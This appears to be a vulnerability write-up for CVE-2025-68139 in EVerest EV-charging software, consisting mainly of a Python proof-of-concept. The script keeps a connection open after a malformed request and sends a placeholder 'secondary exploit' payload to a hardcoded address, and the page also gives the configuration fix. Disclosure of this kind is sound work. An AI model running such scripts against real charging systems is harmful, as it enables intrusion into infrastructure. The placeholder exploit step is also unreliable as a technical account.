CVE-2025-68139 EVerest充电软件terminate_connection_on_failed_response配置不当漏洞

# CVE-2025-68139 PoC - EVerest配置不当漏洞演示 # This PoC demonstrates the configuration issue where terminate_connection_on_failed_response is False import socket import time def exploit_everest_config_issue(target_ip, target_port): """ Simulate exploiting the default configuration of terminate_connection_on_failed_response The default setting keeps connection alive even on failed responses """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send malformed request to trigger error response malicious_request = b"MALFORMED_EVSE_REQUEST\r\n" sock.sendall(malicious_request) # With default config (terminate_connection_on_failed_response=False): # - Connection remains open # - Error is only logged # - No session/connection reset triggered response = sock.recv(4096) print(f"Response received: {response}") print("Connection NOT terminated - vulnerable configuration") # Attacker can now attempt to exploit other weaknesses # while maintaining the connection # Exploitation attempt - try to trigger secondary vulnerability secondary_payload = b"GET /exploit_secondary_vuln HTTP/1.1\r\n\r\n" sock.sendall(secondary_payload) sock.close() return True except Exception as e: print(f"Error: {e}") return False def check_current_config(target_ip): """ Mitigation: Set terminate_connection_on_failed_response to true In config file (e.g., config.yaml): connection: terminate_connection_on_failed_response: true """ print("Recommended fix: Change terminate_connection_on_failed_response to 'true'") return {"terminate_connection_on_failed_response": "true"} if __name__ == "__main__": target = "192.168.1.100" port = 8080 exploit_everest_config_issue(target, port)